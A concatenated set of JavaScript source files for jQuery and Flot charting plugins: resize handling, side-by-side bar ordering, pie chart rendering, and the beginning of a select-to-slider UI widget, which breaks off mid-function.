(function($,h,c){var a=$([]),e=$.resize=$.extend($.resize,{}),i,k="setTimeout",j="resize",d=j+"-special-event",b="delay",f="throttleWindow";e[b]=250;e[f]=true;$.event.special[j]={setup:function(){if(!e[f]&&this[k]){return false}var l=$(this);a=a.add(l);$.data(this,d,{w:l.width(),h:l.height()});if(a.length===1){g()}},teardown:function(){if(!e[f]&&this[k]){return false}var l=$(this);a=a.not(l);l.removeData(d);if(!a.length){clearTimeout(i)}},add:function(l){if(!e[f]&&this[k]){return false}var n;function m(s,o,p){var q=$(this),r=$.data(this,d);r.w=o!==c?o:q.width();r.h=p!==c?p:q.height();n.apply(this,arguments)}if($.isFunction(l)){n=l;return m}else{n=l.handler;l.handler=m}}};function g(){i=h[k](function(){a.each(function(){var n=$(this),m=n.width(),l=n.height(),o=$.data(this,d);if(m!==o.w||l!==o.h){n.trigger(j,[o.w=m,o.h=l])}});g()},e[b])}})(jQuery,this);
(function ($) {
var options = { }; // no options
function init(plot) {
function onResize() {
var placeholder = plot.getPlaceholder();
// somebody might have hidden us and we can't plot
// when we don't have the dimensions
if (placeholder.width() == 0 || placeholder.height() == 0)
return;
plot.resize();
plot.setupGrid();
plot.draw();
}
function bindEvents(plot, eventHolder) {
plot.getPlaceholder().resize(onResize);
}
function shutdown(plot, eventHolder) {
plot.getPlaceholder().unbind("resize", onResize);
}
plot.hooks.bindEvents.push(bindEvents);
plot.hooks.shutdown.push(shutdown);
}
$.plot.plugins.push({
init: init,
options: options,
name: 'resize',
version: '1.0'
});
})(jQuery);
| JavaScript |
/*
* Flot plugin to order bars side by side.
*
* Released under the MIT license by Benjamin BUFFET, 20-Sep-2010.
*
* This plugin is an alpha version.
*
* To activate the plugin you must specify the parameter "order" for the specific serie :
*
* $.plot($("#placeholder"), [{ data: [ ... ], bars :{ order = null or integer }])
*
* If 2 series have the same order param, they are ordered by the position in the array;
*
* The plugin adjust the point by adding a value depanding of the barwidth
* Exemple for 3 series (barwidth : 0.1) :
*
* first bar décalage : -0.15
* second bar décalage : -0.05
* third bar décalage : 0.05
*
*/
(function($){
function init(plot){
var orderedBarSeries;
var nbOfBarsToOrder;
var borderWidth;
var borderWidthInXabsWidth;
var pixelInXWidthEquivalent = 1;
var isHorizontal = false;
/*
* This method add shift to x values
*/
function reOrderBars(plot, serie, datapoints){
var shiftedPoints = null;
if(serieNeedToBeReordered(serie)){
checkIfGraphIsHorizontal(serie);
calculPixel2XWidthConvert(plot);
retrieveBarSeries(plot);
calculBorderAndBarWidth(serie);
if(nbOfBarsToOrder >= 2){
var position = findPosition(serie);
var decallage = 0;
var centerBarShift = calculCenterBarShift();
if (isBarAtLeftOfCenter(position)){
decallage = -1*(sumWidth(orderedBarSeries,position-1,Math.floor(nbOfBarsToOrder / 2)-1)) - centerBarShift;
}else{
decallage = sumWidth(orderedBarSeries,Math.ceil(nbOfBarsToOrder / 2),position-2) + centerBarShift + borderWidthInXabsWidth*2;
}
shiftedPoints = shiftPoints(datapoints,serie,decallage);
datapoints.points = shiftedPoints;
}
}
return shiftedPoints;
}
function serieNeedToBeReordered(serie){
return serie.bars != null
&& serie.bars.show
&& serie.bars.order != null;
}
function calculPixel2XWidthConvert(plot){
var gridDimSize = isHorizontal ? plot.getPlaceholder().innerHeight() : plot.getPlaceholder().innerWidth();
var minMaxValues = isHorizontal ? getAxeMinMaxValues(plot.getData(),1) : getAxeMinMaxValues(plot.getData(),0);
var AxeSize = minMaxValues[1] - minMaxValues[0];
pixelInXWidthEquivalent = AxeSize / gridDimSize;
}
function getAxeMinMaxValues(series,AxeIdx){
var minMaxValues = new Array();
for(var i = 0; i < series.length; i++){
minMaxValues[0] = series[i].data[0][AxeIdx];
minMaxValues[1] = series[i].data[series[i].data.length - 1][AxeIdx];
}
return minMaxValues;
}
function retrieveBarSeries(plot){
orderedBarSeries = findOthersBarsToReOrders(plot.getData());
nbOfBarsToOrder = orderedBarSeries.length;
}
function findOthersBarsToReOrders(series){
var retSeries = new Array();
for(var i = 0; i < series.length; i++){
if(series[i].bars.order != null && series[i].bars.show){
retSeries.push(series[i]);
}
}
return retSeries.sort(sortByOrder);
}
function sortByOrder(serie1,serie2){
var x = serie1.bars.order;
var y = serie2.bars.order;
return ((x < y) ? -1 : ((x > y) ? 1 : 0));
}
function calculBorderAndBarWidth(serie){
borderWidth = serie.bars.lineWidth ? serie.bars.lineWidth : 2;
borderWidthInXabsWidth = borderWidth * pixelInXWidthEquivalent;
}
function checkIfGraphIsHorizontal(serie){
if(serie.bars.horizontal){
isHorizontal = true;
}
}
function findPosition(serie){
var pos = 0
for (var i = 0; i < orderedBarSeries.length; ++i) {
if (serie == orderedBarSeries[i]){
pos = i;
break;
}
}
return pos+1;
}
function calculCenterBarShift(){
var width = 0;
if(nbOfBarsToOrder%2 != 0)
width = (orderedBarSeries[Math.ceil(nbOfBarsToOrder / 2)].bars.barWidth)/2;
return width;
}
function isBarAtLeftOfCenter(position){
return position <= Math.ceil(nbOfBarsToOrder / 2);
}
function sumWidth(series,start,end){
var totalWidth = 0;
for(var i = start; i <= end; i++){
totalWidth += series[i].bars.barWidth+borderWidthInXabsWidth*2;
}
return totalWidth;
}
function shiftPoints(datapoints,serie,dx){
var ps = datapoints.pointsize;
var points = datapoints.points;
var j = 0;
for(var i = isHorizontal ? 1 : 0;i < points.length; i += ps){
points[i] += dx;
//Adding the new x value in the serie to be abble to display the right tooltip value,
//using the index 3 to not overide the third index.
serie.data[j][3] = points[i];
j++;
}
return points;
}
plot.hooks.processDatapoints.push(reOrderBars);
}
var options = {
series : {
bars: {order: null} // or number/string
}
};
$.plot.plugins.push({
init: init,
options: options,
name: "orderBars",
version: "0.2"
});
})(jQuery)
| JavaScript |
/* Flot plugin for rendering pie charts.
Copyright (c) 2007-2013 IOLA and Ole Laursen.
Licensed under the MIT license.
The plugin assumes that each series has a single data value, and that each
value is a positive integer or zero. Negative numbers don't make sense for a
pie chart, and have unpredictable results. The values do NOT need to be
passed in as percentages; the plugin will calculate the total and per-slice
percentages internally.
* Created by Brian Medendorp
* Updated with contributions from btburnett3, Anthony Aragues and Xavi Ivars
The plugin supports these options:
series: {
pie: {
show: true/false
radius: 0-1 for percentage of fullsize, or a specified pixel length, or 'auto'
innerRadius: 0-1 for percentage of fullsize or a specified pixel length, for creating a donut effect
startAngle: 0-2 factor of PI used for starting angle (in radians) i.e 3/2 starts at the top, 0 and 2 have the same result
tilt: 0-1 for percentage to tilt the pie, where 1 is no tilt, and 0 is completely flat (nothing will show)
offset: {
top: integer value to move the pie up or down
left: integer value to move the pie left or right, or 'auto'
},
stroke: {
color: any hexidecimal color value (other formats may or may not work, so best to stick with something like '#FFF')
width: integer pixel width of the stroke
},
label: {
show: true/false, or 'auto'
formatter: a user-defined function that modifies the text/style of the label text
radius: 0-1 for percentage of fullsize, or a specified pixel length
background: {
color: any hexidecimal color value (other formats may or may not work, so best to stick with something like '#000')
opacity: 0-1
},
threshold: 0-1 for the percentage value at which to hide labels (if they're too small)
},
combine: {
threshold: 0-1 for the percentage value at which to combine slices (if they're too small)
color: any hexidecimal color value (other formats may or may not work, so best to stick with something like '#CCC'), if null, the plugin will automatically use the color of the first slice to be combined
label: any text value of what the combined slice should be labeled
}
highlight: {
opacity: 0-1
}
}
}
More detail and specific examples can be found in the included HTML file.
*/
(function($) {
// Maximum redraw attempts when fitting labels within the plot
var REDRAW_ATTEMPTS = 10;
// Factor by which to shrink the pie when fitting labels within the plot
var REDRAW_SHRINK = 0.95;
function init(plot) {
var canvas = null,
target = null,
maxRadius = null,
centerLeft = null,
centerTop = null,
processed = false,
ctx = null;
// interactive variables
var highlights = [];
// add hook to determine if pie plugin in enabled, and then perform necessary operations
plot.hooks.processOptions.push(function(plot, options) {
if (options.series.pie.show) {
options.grid.show = false;
// set labels.show
if (options.series.pie.label.show == "auto") {
if (options.legend.show) {
options.series.pie.label.show = false;
} else {
options.series.pie.label.show = true;
}
}
// set radius
if (options.series.pie.radius == "auto") {
if (options.series.pie.label.show) {
options.series.pie.radius = 3/4;
} else {
options.series.pie.radius = 1;
}
}
// ensure sane tilt
if (options.series.pie.tilt > 1) {
options.series.pie.tilt = 1;
} else if (options.series.pie.tilt < 0) {
options.series.pie.tilt = 0;
}
}
});
plot.hooks.bindEvents.push(function(plot, eventHolder) {
var options = plot.getOptions();
if (options.series.pie.show) {
if (options.grid.hoverable) {
eventHolder.unbind("mousemove").mousemove(onMouseMove);
}
if (options.grid.clickable) {
eventHolder.unbind("click").click(onClick);
}
}
});
plot.hooks.processDatapoints.push(function(plot, series, data, datapoints) {
var options = plot.getOptions();
if (options.series.pie.show) {
processDatapoints(plot, series, data, datapoints);
}
});
plot.hooks.drawOverlay.push(function(plot, octx) {
var options = plot.getOptions();
if (options.series.pie.show) {
drawOverlay(plot, octx);
}
});
plot.hooks.draw.push(function(plot, newCtx) {
var options = plot.getOptions();
if (options.series.pie.show) {
draw(plot, newCtx);
}
});
function processDatapoints(plot, series, datapoints) {
if (!processed) {
processed = true;
canvas = plot.getCanvas();
target = $(canvas).parent();
options = plot.getOptions();
plot.setData(combine(plot.getData()));
}
}
function combine(data) {
var total = 0,
combined = 0,
numCombined = 0,
color = options.series.pie.combine.color,
newdata = [];
// Fix up the raw data from Flot, ensuring the data is numeric
for (var i = 0; i < data.length; ++i) {
var value = data[i].data;
// If the data is an array, we'll assume that it's a standard
// Flot x-y pair, and are concerned only with the second value.
// Note how we use the original array, rather than creating a
// new one; this is more efficient and preserves any extra data
// that the user may have stored in higher indexes.
if ($.isArray(value)) {
if ($.isNumeric(value[1])) {
value[1] = +value[1];
} else {
value[1] = 0;
}
} else if ($.isNumeric(value)) {
value = [1, +value];
} else {
value = [1, 0];
}
data[i].data = [value];
}
// Sum up all the slices, so we can calculate percentages for each
for (var i = 0; i < data.length; ++i) {
total += data[i].data[0][1];
}
// Count the number of slices with percentages below the combine
// threshold; if it turns out to be just one, we won't combine.
for (var i = 0; i < data.length; ++i) {
var value = data[i].data[0][1];
if (value / total <= options.series.pie.combine.threshold) {
combined += value;
numCombined++;
if (!color) {
color = data[i].color;
}
}
}
for (var i = 0; i < data.length; ++i) {
var value = data[i].data[0][1];
if (numCombined < 2 || value / total > options.series.pie.combine.threshold) {
newdata.push({
data: [[1, value]],
color: data[i].color,
label: data[i].label,
angle: value * Math.PI * 2 / total,
percent: value / (total / 100)
});
}
}
if (numCombined > 1) {
newdata.push({
data: [[1, combined]],
color: color,
label: options.series.pie.combine.label,
angle: combined * Math.PI * 2 / total,
percent: combined / (total / 100)
});
}
return newdata;
}
function draw(plot, newCtx) {
if (!target) {
return; // if no series were passed
}
var canvasWidth = plot.getPlaceholder().width(),
canvasHeight = plot.getPlaceholder().height(),
legendWidth = target.children().filter(".legend").children().width() || 0;
ctx = newCtx;
// WARNING: HACK! REWRITE THIS CODE AS SOON AS POSSIBLE!
// When combining smaller slices into an 'other' slice, we need to
// add a new series. Since Flot gives plugins no way to modify the
// list of series, the pie plugin uses a hack where the first call
// to processDatapoints results in a call to setData with the new
// list of series, then subsequent processDatapoints do nothing.
// The plugin-global 'processed' flag is used to control this hack;
// it starts out false, and is set to true after the first call to
// processDatapoints.
// Unfortunately this turns future setData calls into no-ops; they
// call processDatapoints, the flag is true, and nothing happens.
// To fix this we'll set the flag back to false here in draw, when
// all series have been processed, so the next sequence of calls to
// processDatapoints once again starts out with a slice-combine.
// This is really a hack; in 0.9 we need to give plugins a proper
// way to modify series before any processing begins.
processed = false;
// calculate maximum radius and center point
maxRadius = Math.min(canvasWidth, canvasHeight / options.series.pie.tilt) / 2;
centerTop = canvasHeight / 2 + options.series.pie.offset.top;
centerLeft = canvasWidth / 2;
if (options.series.pie.offset.left == "auto") {
if (options.legend.position.match("w")) {
centerLeft += legendWidth / 2;
} else {
centerLeft -= legendWidth / 2;
}
} else {
centerLeft += options.series.pie.offset.left;
}
if (centerLeft < maxRadius) {
centerLeft = maxRadius;
} else if (centerLeft > canvasWidth - maxRadius) {
centerLeft = canvasWidth - maxRadius;
}
var slices = plot.getData(),
attempts = 0;
// Keep shrinking the pie's radius until drawPie returns true,
// indicating that all the labels fit, or we try too many times.
do {
if (attempts > 0) {
maxRadius *= REDRAW_SHRINK;
}
attempts += 1;
clear();
if (options.series.pie.tilt <= 0.8) {
drawShadow();
}
} while (!drawPie() && attempts < REDRAW_ATTEMPTS)
if (attempts >= REDRAW_ATTEMPTS) {
clear();
target.prepend("<div class='error'>Could not draw pie with labels contained inside canvas</div>");
}
if (plot.setSeries && plot.insertLegend) {
plot.setSeries(slices);
plot.insertLegend();
}
// we're actually done at this point, just defining internal functions at this point
function clear() {
ctx.clearRect(0, 0, canvasWidth, canvasHeight);
target.children().filter(".pieLabel, .pieLabelBackground").remove();
}
function drawShadow() {
var shadowLeft = options.series.pie.shadow.left;
var shadowTop = options.series.pie.shadow.top;
var edge = 10;
var alpha = options.series.pie.shadow.alpha;
var radius = options.series.pie.radius > 1 ? options.series.pie.radius : maxRadius * options.series.pie.radius;
if (radius >= canvasWidth / 2 - shadowLeft || radius * options.series.pie.tilt >= canvasHeight / 2 - shadowTop || radius <= edge) {
return; // shadow would be outside canvas, so don't draw it
}
ctx.save();
ctx.translate(shadowLeft,shadowTop);
ctx.globalAlpha = alpha;
ctx.fillStyle = "#000";
// center and rotate to starting position
ctx.translate(centerLeft,centerTop);
ctx.scale(1, options.series.pie.tilt);
//radius -= edge;
for (var i = 1; i <= edge; i++) {
ctx.beginPath();
ctx.arc(0, 0, radius, 0, Math.PI * 2, false);
ctx.fill();
radius -= i;
}
ctx.restore();
}
function drawPie() {
var startAngle = Math.PI * options.series.pie.startAngle;
var radius = options.series.pie.radius > 1 ? options.series.pie.radius : maxRadius * options.series.pie.radius;
// center and rotate to starting position
ctx.save();
ctx.translate(centerLeft,centerTop);
ctx.scale(1, options.series.pie.tilt);
//ctx.rotate(startAngle); // start at top; -- This doesn't work properly in Opera
// draw slices
ctx.save();
var currentAngle = startAngle;
for (var i = 0; i < slices.length; ++i) {
slices[i].startAngle = currentAngle;
drawSlice(slices[i].angle, slices[i].color, true);
}
ctx.restore();
// draw slice outlines
if (options.series.pie.stroke.width > 0) {
ctx.save();
ctx.lineWidth = options.series.pie.stroke.width;
currentAngle = startAngle;
for (var i = 0; i < slices.length; ++i) {
drawSlice(slices[i].angle, options.series.pie.stroke.color, false);
}
ctx.restore();
}
// draw donut hole
drawDonutHole(ctx);
ctx.restore();
// Draw the labels, returning true if they fit within the plot
if (options.series.pie.label.show) {
return drawLabels();
} else return true;
function drawSlice(angle, color, fill) {
if (angle <= 0 || isNaN(angle)) {
return;
}
if (fill) {
ctx.fillStyle = color;
} else {
ctx.strokeStyle = color;
ctx.lineJoin = "round";
}
ctx.beginPath();
if (Math.abs(angle - Math.PI * 2) > 0.000000001) {
ctx.moveTo(0, 0); // Center of the pie
}
//ctx.arc(0, 0, radius, 0, angle, false); // This doesn't work properly in Opera
ctx.arc(0, 0, radius,currentAngle, currentAngle + angle / 2, false);
ctx.arc(0, 0, radius,currentAngle + angle / 2, currentAngle + angle, false);
ctx.closePath();
//ctx.rotate(angle); // This doesn't work properly in Opera
currentAngle += angle;
if (fill) {
ctx.fill();
} else {
ctx.stroke();
}
}
function drawLabels() {
var currentAngle = startAngle;
var radius = options.series.pie.label.radius > 1 ? options.series.pie.label.radius : maxRadius * options.series.pie.label.radius;
for (var i = 0; i < slices.length; ++i) {
if (slices[i].percent >= options.series.pie.label.threshold * 100) {
if (!drawLabel(slices[i], currentAngle, i)) {
return false;
}
}
currentAngle += slices[i].angle;
}
return true;
function drawLabel(slice, startAngle, index) {
if (slice.data[0][1] == 0) {
return true;
}
// format label text
var lf = options.legend.labelFormatter, text, plf = options.series.pie.label.formatter;
if (lf) {
text = lf(slice.label, slice);
} else {
text = slice.label;
}
if (plf) {
text = plf(text, slice);
}
var halfAngle = ((startAngle + slice.angle) + startAngle) / 2;
var x = centerLeft + Math.round(Math.cos(halfAngle) * radius);
var y = centerTop + Math.round(Math.sin(halfAngle) * radius) * options.series.pie.tilt;
var html = "<span class='pieLabel' id='pieLabel" + index + "' style='position:absolute;top:" + y + "px;left:" + x + "px;'>" + text + "</span>";
target.append(html);
var label = target.children("#pieLabel" + index);
var labelTop = (y - label.height() / 2);
var labelLeft = (x - label.width() / 2);
label.css("top", labelTop);
label.css("left", labelLeft);
// check to make sure that the label is not outside the canvas
if (0 - labelTop > 0 || 0 - labelLeft > 0 || canvasHeight - (labelTop + label.height()) < 0 || canvasWidth - (labelLeft + label.width()) < 0) {
return false;
}
if (options.series.pie.label.background.opacity != 0) {
// put in the transparent background separately to avoid blended labels and label boxes
var c = options.series.pie.label.background.color;
if (c == null) {
c = slice.color;
}
var pos = "top:" + labelTop + "px;left:" + labelLeft + "px;";
$("<div class='pieLabelBackground' style='position:absolute;width:" + label.width() + "px;height:" + label.height() + "px;" + pos + "background-color:" + c + ";'></div>")
.css("opacity", options.series.pie.label.background.opacity)
.insertBefore(label);
}
return true;
} // end individual label function
} // end drawLabels function
} // end drawPie function
} // end draw function
// Placed here because it needs to be accessed from multiple locations
function drawDonutHole(layer) {
if (options.series.pie.innerRadius > 0) {
// subtract the center
layer.save();
var innerRadius = options.series.pie.innerRadius > 1 ? options.series.pie.innerRadius : maxRadius * options.series.pie.innerRadius;
layer.globalCompositeOperation = "destination-out"; // this does not work with excanvas, but it will fall back to using the stroke color
layer.beginPath();
layer.fillStyle = options.series.pie.stroke.color;
layer.arc(0, 0, innerRadius, 0, Math.PI * 2, false);
layer.fill();
layer.closePath();
layer.restore();
// add inner stroke
layer.save();
layer.beginPath();
layer.strokeStyle = options.series.pie.stroke.color;
layer.arc(0, 0, innerRadius, 0, Math.PI * 2, false);
layer.stroke();
layer.closePath();
layer.restore();
// TODO: add extra shadow inside hole (with a mask) if the pie is tilted.
}
}
//-- Additional Interactive related functions --
function isPointInPoly(poly, pt) {
for(var c = false, i = -1, l = poly.length, j = l - 1; ++i < l; j = i)
((poly[i][1] <= pt[1] && pt[1] < poly[j][1]) || (poly[j][1] <= pt[1] && pt[1]< poly[i][1]))
&& (pt[0] < (poly[j][0] - poly[i][0]) * (pt[1] - poly[i][1]) / (poly[j][1] - poly[i][1]) + poly[i][0])
&& (c = !c);
return c;
}
function findNearbySlice(mouseX, mouseY) {
var slices = plot.getData(),
options = plot.getOptions(),
radius = options.series.pie.radius > 1 ? options.series.pie.radius : maxRadius * options.series.pie.radius,
x, y;
for (var i = 0; i < slices.length; ++i) {
var s = slices[i];
if (s.pie.show) {
ctx.save();
ctx.beginPath();
ctx.moveTo(0, 0); // Center of the pie
//ctx.scale(1, options.series.pie.tilt); // this actually seems to break everything when here.
ctx.arc(0, 0, radius, s.startAngle, s.startAngle + s.angle / 2, false);
ctx.arc(0, 0, radius, s.startAngle + s.angle / 2, s.startAngle + s.angle, false);
ctx.closePath();
x = mouseX - centerLeft;
y = mouseY - centerTop;
if (ctx.isPointInPath) {
if (ctx.isPointInPath(mouseX - centerLeft, mouseY - centerTop)) {
ctx.restore();
return {
datapoint: [s.percent, s.data],
dataIndex: 0,
series: s,
seriesIndex: i
};
}
} else {
// excanvas for IE doesn;t support isPointInPath, this is a workaround.
var p1X = radius * Math.cos(s.startAngle),
p1Y = radius * Math.sin(s.startAngle),
p2X = radius * Math.cos(s.startAngle + s.angle / 4),
p2Y = radius * Math.sin(s.startAngle + s.angle / 4),
p3X = radius * Math.cos(s.startAngle + s.angle / 2),
p3Y = radius * Math.sin(s.startAngle + s.angle / 2),
p4X = radius * Math.cos(s.startAngle + s.angle / 1.5),
p4Y = radius * Math.sin(s.startAngle + s.angle / 1.5),
p5X = radius * Math.cos(s.startAngle + s.angle),
p5Y = radius * Math.sin(s.startAngle + s.angle),
arrPoly = [[0, 0], [p1X, p1Y], [p2X, p2Y], [p3X, p3Y], [p4X, p4Y], [p5X, p5Y]],
arrPoint = [x, y];
// TODO: perhaps do some mathmatical trickery here with the Y-coordinate to compensate for pie tilt?
if (isPointInPoly(arrPoly, arrPoint)) {
ctx.restore();
return {
datapoint: [s.percent, s.data],
dataIndex: 0,
series: s,
seriesIndex: i
};
}
}
ctx.restore();
}
}
return null;
}
function onMouseMove(e) {
triggerClickHoverEvent("plothover", e);
}
function onClick(e) {
triggerClickHoverEvent("plotclick", e);
}
// trigger click or hover event (they send the same parameters so we share their code)
function triggerClickHoverEvent(eventname, e) {
var offset = plot.offset();
var canvasX = parseInt(e.pageX - offset.left);
var canvasY = parseInt(e.pageY - offset.top);
var item = findNearbySlice(canvasX, canvasY);
if (options.grid.autoHighlight) {
// clear auto-highlights
for (var i = 0; i < highlights.length; ++i) {
var h = highlights[i];
if (h.auto == eventname && !(item && h.series == item.series)) {
unhighlight(h.series);
}
}
}
// highlight the slice
if (item) {
highlight(item.series, eventname);
}
// trigger any hover bind events
var pos = { pageX: e.pageX, pageY: e.pageY };
target.trigger(eventname, [pos, item]);
}
function highlight(s, auto) {
//if (typeof s == "number") {
// s = series[s];
//}
var i = indexOfHighlight(s);
if (i == -1) {
highlights.push({ series: s, auto: auto });
plot.triggerRedrawOverlay();
} else if (!auto) {
highlights[i].auto = false;
}
}
function unhighlight(s) {
if (s == null) {
highlights = [];
plot.triggerRedrawOverlay();
}
//if (typeof s == "number") {
// s = series[s];
//}
var i = indexOfHighlight(s);
if (i != -1) {
highlights.splice(i, 1);
plot.triggerRedrawOverlay();
}
}
function indexOfHighlight(s) {
for (var i = 0; i < highlights.length; ++i) {
var h = highlights[i];
if (h.series == s)
return i;
}
return -1;
}
function drawOverlay(plot, octx) {
var options = plot.getOptions();
var radius = options.series.pie.radius > 1 ? options.series.pie.radius : maxRadius * options.series.pie.radius;
octx.save();
octx.translate(centerLeft, centerTop);
octx.scale(1, options.series.pie.tilt);
for (var i = 0; i < highlights.length; ++i) {
drawHighlight(highlights[i].series);
}
drawDonutHole(octx);
octx.restore();
function drawHighlight(series) {
if (series.angle <= 0 || isNaN(series.angle)) {
return;
}
//octx.fillStyle = parseColor(options.series.pie.highlight.color).scale(null, null, null, options.series.pie.highlight.opacity).toString();
octx.fillStyle = "rgba(255, 255, 255, " + options.series.pie.highlight.opacity + ")"; // this is temporary until we have access to parseColor
octx.beginPath();
if (Math.abs(series.angle - Math.PI * 2) > 0.000000001) {
octx.moveTo(0, 0); // Center of the pie
}
octx.arc(0, 0, radius, series.startAngle, series.startAngle + series.angle / 2, false);
octx.arc(0, 0, radius, series.startAngle + series.angle / 2, series.startAngle + series.angle, false);
octx.closePath();
octx.fill();
}
}
} // end init (plugin body)
// define pie specific options and their default values
var options = {
series: {
pie: {
show: false,
radius: "auto", // actual radius of the visible pie (based on full calculated radius if <=1, or hard pixel value)
innerRadius: 0, /* for donut */
startAngle: 3/2,
tilt: 1,
shadow: {
left: 5, // shadow left offset
top: 15, // shadow top offset
alpha: 0.02 // shadow alpha
},
offset: {
top: 0,
left: "auto"
},
stroke: {
color: "#fff",
width: 1
},
label: {
show: "auto",
formatter: function(label, slice) {
return "<div style='font-size:x-small;text-align:center;padding:2px;color:" + slice.color + ";'>" + label + "<br/>" + Math.round(slice.percent) + "%</div>";
}, // formatter function
radius: 1, // radius at which to place the labels (based on full calculated radius if <=1, or hard pixel value)
background: {
color: null,
opacity: 0
},
threshold: 0 // percentage at which to hide the label (i.e. the slice is too narrow)
},
combine: {
threshold: -1, // percentage at which to combine little slices into one larger slice
color: null, // color to give the new slice (auto-generated if null)
label: "Other" // label to give the new slice
},
highlight: {
//color: "#fff", // will add this functionality once parseColor is available
opacity: 0.5
}
}
}
};
$.plot.plugins.push({
init: init,
options: options,
name: "pie",
version: "1.1"
});
})(jQuery);
| JavaScript |
/*
* --------------------------------------------------------------------
* jQuery-Plugin - selectToUISlider - creates a UI slider component from a select element(s)
* by Scott Jehl, scott@filamentgroup.com
* http://www.filamentgroup.com
* reference article: http://www.filamentgroup.com/lab/update_jquery_ui_16_slider_from_a_select_element/
* demo page: http://www.filamentgroup.com/examples/slider_v2/index.html
*
* Copyright (c) 2008 Filament Group, Inc
* Dual licensed under the MIT (filamentgroup.com/examples/mit-license.txt) and GPL (filamentgroup.com/examples/gpl-license.txt) licenses.
*
* Usage Notes: please refer to our article above for documentation
*
* --------------------------------------------------------------------
*/
jQuery.fn.selectToUISlider = function(settings){
var selects = jQuery(this);
//accessible slider options
var options = jQuery.extend({
labels: 3, //number of visible labels
tooltip: true, //show tooltips, boolean
tooltipSrc: 'text',//accepts 'value' as well
labelSrc: 'value',//accepts 'value' as well ,
sliderOptions: null
}, settings);
//handle ID attrs - selects each need IDs for handles to find them
var handleIds = (function(){
var tempArr = [];
selects.each(function(){
tempArr.push('handle_'+jQuery(this).attr('id'));
});
return tempArr;
})();
//array of all option elements in select element (ignores optgroups)
var selectOptions = (function(){
var opts = [];
selects.eq(0).find('option').each(function(){
opts.push({
value: jQuery(this).attr('value'),
text: jQuery(this).text()
});
});
return opts;
})();
//array of opt groups if present
var groups = (function(){
if(selects.eq(0).find('optgroup').size()>0){
var groupedData = [];
selects.eq(0).find('optgroup').each(function(i){
groupedData[i] = {};
groupedData[i].label = jQuery(this).attr('label');
groupedData[i].options = [];
jQuery(this).find('option').each(function(){
groupedData[i].options.push({text: jQuery(this).text(), value: jQuery(this).attr('value')});
});
});
return groupedData;
}
else return null;
})();
//check if obj is array
function isArray(obj) {
return obj.constructor == Array;
}
//return tooltip text from option index
function ttText(optIndex){
return (options.tooltipSrc == 'text') ? selectOptions[optIndex].text : selectOptions[optIndex].value;
}
//plugin-generated slider options (can be overridden)
var sliderOptions = {
step: 1,
min: 0,
orientation: 'horizontal',
max: selectOptions.length-1,
range: selects.length > 1,//multiple select elements = true
slide: function(e, ui) {//slide function
var thisHandle = jQuery(ui.handle);
//handle feedback
var textval = ttText(ui.value);
thisHandle
.attr('aria-valuetext', textval)
.attr('aria-valuenow', ui.value)
.find('.ui-slider-tooltip .ttContent')
.text( textval );
//control original select menu
var currSelect = jQuery('#' + thisHandle.attr('id').split('handle_')[1]);
currSelect.find('option').eq(ui.value).attr('selected', 'selected');
},
values: (function(){
var values = [];
selects.each(function(){
values.push( jQuery(this).get(0).selectedIndex );
});
return values;
})()
};
//slider options from settings
options.sliderOptions = (settings) ? jQuery.extend(sliderOptions, settings.sliderOptions) : sliderOptions;
//select element change event
selects.bind('change keyup click', function(){
var thisIndex = jQuery(this).get(0).selectedIndex;
var thisHandle = jQuery('#handle_'+ jQuery(this).attr('id'));
var handleIndex = thisHandle.data('handleNum');
thisHandle.parents('.ui-slider:eq(0)').slider("values", handleIndex, thisIndex);
});
//create slider component div
var sliderComponent = jQuery('<div></div>');
//CREATE HANDLES
selects.each(function(i){
var hidett = '';
//associate label for ARIA
var thisLabel = jQuery('label[for=' + jQuery(this).attr('id') +']');
//labelled by aria doesn't seem to work on slider handle. Using title attr as backup
var labelText = (thisLabel.size()>0) ? 'Slider control for '+ thisLabel.text()+'' : '';
var thisLabelId = thisLabel.attr('id') || thisLabel.attr('id', 'label_'+handleIds[i]).attr('id');
if( options.tooltip == false ){hidett = ' style="display: none;"';}
jQuery('<a '+
'href="#" tabindex="0" '+
'id="'+handleIds[i]+'" '+
'class="ui-slider-handle" '+
'role="slider" '+
'aria-labelledby="'+thisLabelId+'" '+
'aria-valuemin="'+options.sliderOptions.min+'" '+
'aria-valuemax="'+options.sliderOptions.max+'" '+
'aria-valuenow="'+options.sliderOptions.values[i]+'" '+
'aria-valuetext="'+ttText(options.sliderOptions.values[i])+'" '+
'><span class="screenReaderContext">'+labelText+'</span>'+
'<span class="ui-slider-tooltip ui-widget-content ui-corner-all"'+ hidett +'><span class="ttContent"></span>'+
'<span class="ui-tooltip-pointer-down ui-widget-content"><span class="ui-tooltip-pointer-down-inner"></span></span>'+
'</span></a>')
.data('handleNum',i)
.appendTo(sliderComponent);
});
//CREATE SCALE AND TICS
//write dl if there are optgroups
if(groups) {
var inc = 0;
var scale = sliderComponent.append('<dl class="ui-slider-scale ui-helper-reset" role="presentation"></dl>').find('.ui-slider-scale:eq(0)');
jQuery(groups).each(function(h){
scale.append('<dt style="width: '+ (100/groups.length).toFixed(2) +'%' +'; left:'+ (h/(groups.length-1) * 100).toFixed(2) +'%' +'"><span>'+this.label+'</span></dt>');//class name becomes camelCased label
var groupOpts = this.options;
jQuery(this.options).each(function(i){
var style = (inc == selectOptions.length-1 || inc == 0) ? 'style="display: none;"' : '' ;
var labelText = (options.labelSrc == 'text') ? groupOpts[i].text : groupOpts[i].value;
scale.append('<dd style="left:'+ leftVal(inc) +'"><span class="ui-slider-label">'+ labelText +'</span><span class="ui-slider-tic ui-widget-content"'+ style +'></span></dd>');
inc++;
});
});
}
//write ol
else {
var scale = sliderComponent.append('<ol class="ui-slider-scale ui-helper-reset" role="presentation"></ol>').find('.ui-slider-scale:eq(0)');
jQuery(selectOptions).each(function(i){
var style = (i == selectOptions.length-1 || i == 0) ? 'style="display: none;"' : '' ;
var labelText = (options.labelSrc == 'text') ? this.text : this.value;
scale.append('<li style="left:'+ leftVal(i) +'"><span class="ui-slider-label">'+ labelText +'</span><span class="ui-slider-tic ui-widget-content"'+ style +'></span></li>');
});
}
function leftVal(i){
return (i/(selectOptions.length-1) * 100).toFixed(2) +'%';
}
//show and hide labels depending on labels pref
//show the last one if there are more than 1 specified
if(options.labels > 1) sliderComponent.find('.ui-slider-scale li:last span.ui-slider-label, .ui-slider-scale dd:last span.ui-slider-label').addClass('ui-slider-label-show');
//set increment
var increm = Math.max(1, Math.round(selectOptions.length / options.labels));
//show em based on inc
for(var j=0; j<selectOptions.length; j+=increm){
if((selectOptions.length - j) > increm){//don't show if it's too close to the end label
